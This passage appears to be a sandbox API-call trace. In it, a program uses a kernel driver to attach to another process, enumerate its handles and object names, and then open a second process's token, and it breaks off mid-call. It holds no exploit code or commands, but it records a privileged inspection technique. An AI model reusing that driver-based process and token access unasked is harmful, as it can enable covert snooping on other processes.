AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0103.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.264] PsReleaseProcessExitSynchronization () returned 0x2 [0103.264] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.264] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.264] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0103.264] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.264] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.264] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.264] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.264] PsAcquireProcessExitSynchronization () returned 0x0 [0103.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.264] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0103.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.264] PsReleaseProcessExitSynchronization () returned 0x2 [0103.264] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.264] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.264] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0103.265] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.265] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.265] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.265] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.265] PsAcquireProcessExitSynchronization () returned 0x0 [0103.265] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.265] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0103.265] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.265] PsReleaseProcessExitSynchronization () returned 0x2 [0103.265] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.265] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.265] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0103.265] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.265] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.265] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.265] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.265] PsAcquireProcessExitSynchronization () returned 0x0 [0103.265] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.265] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0103.265] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.265] PsReleaseProcessExitSynchronization () returned 0x2 [0103.265] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.265] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.265] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0103.265] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.265] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.265] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.266] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.266] PsAcquireProcessExitSynchronization () returned 0x0 [0103.266] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.266] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0103.266] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.266] PsReleaseProcessExitSynchronization () returned 0x2 [0103.266] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.266] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.266] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0103.266] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.266] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.266] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.266] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.266] PsAcquireProcessExitSynchronization () returned 0x0 [0103.266] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.266] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0103.266] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.266] PsReleaseProcessExitSynchronization () returned 0x2 [0103.266] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.266] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.266] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0103.266] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.266] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.266] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.266] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.266] PsAcquireProcessExitSynchronization () returned 0x0 [0103.266] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.266] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0103.266] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.267] PsReleaseProcessExitSynchronization () returned 0x2 [0103.267] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.267] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.267] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0103.267] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.267] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.267] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.267] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.267] PsAcquireProcessExitSynchronization () returned 0x0 [0103.267] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.267] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0103.267] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.267] PsReleaseProcessExitSynchronization () returned 0x2 [0103.267] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.267] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.267] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0103.267] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.267] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.267] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.267] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.267] PsAcquireProcessExitSynchronization () returned 0x0 [0103.267] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.267] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0103.267] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.267] PsReleaseProcessExitSynchronization () returned 0x2 [0103.267] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.267] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.267] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0103.267] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.267] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.267] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.268] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.268] PsAcquireProcessExitSynchronization () returned 0x0 [0103.268] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.268] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0103.268] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.268] PsReleaseProcessExitSynchronization () returned 0x2 [0103.268] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.268] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.268] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0103.268] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.268] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.268] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.268] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.268] PsAcquireProcessExitSynchronization () returned 0x0 [0103.268] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.268] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0103.268] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.268] PsReleaseProcessExitSynchronization () returned 0x2 [0103.268] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.268] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.268] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0103.268] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.268] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.268] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.268] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.268] PsAcquireProcessExitSynchronization () returned 0x0 [0103.268] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.268] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0103.268] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.268] PsReleaseProcessExitSynchronization () returned 0x2 [0103.269] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.269] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.269] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0103.269] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.269] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.269] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.269] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.269] PsAcquireProcessExitSynchronization () returned 0x0 [0103.269] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.269] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0103.269] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.269] PsReleaseProcessExitSynchronization () returned 0x2 [0103.269] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.269] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.269] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0103.269] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.269] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.269] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.269] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.269] PsAcquireProcessExitSynchronization () returned 0x0 [0103.269] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.269] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0103.269] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.269] PsReleaseProcessExitSynchronization () returned 0x2 [0103.269] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.269] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.269] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0103.269] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.269] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.269] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.270] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.270] PsAcquireProcessExitSynchronization () returned 0x0 [0103.270] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.270] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0103.270] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.270] PsReleaseProcessExitSynchronization () returned 0x2 [0103.270] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.270] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.270] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0103.270] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.270] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.270] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0103.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.270] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0103.270] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000a44) returned 0x0 [0103.270] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0103.270] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a44, DesiredAccess=0x8, TokenHandle=0xfffffa8001a49b40 | out: TokenHandle=0xfffffa8001a49b40*=0xc8) returned 0x0 [0103.270] ZwClose (Handle=0xffffffff80000a44) returned 0x0 [0103.270] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.270] GetTokenInformation (in: TokenHandle=0xc8, 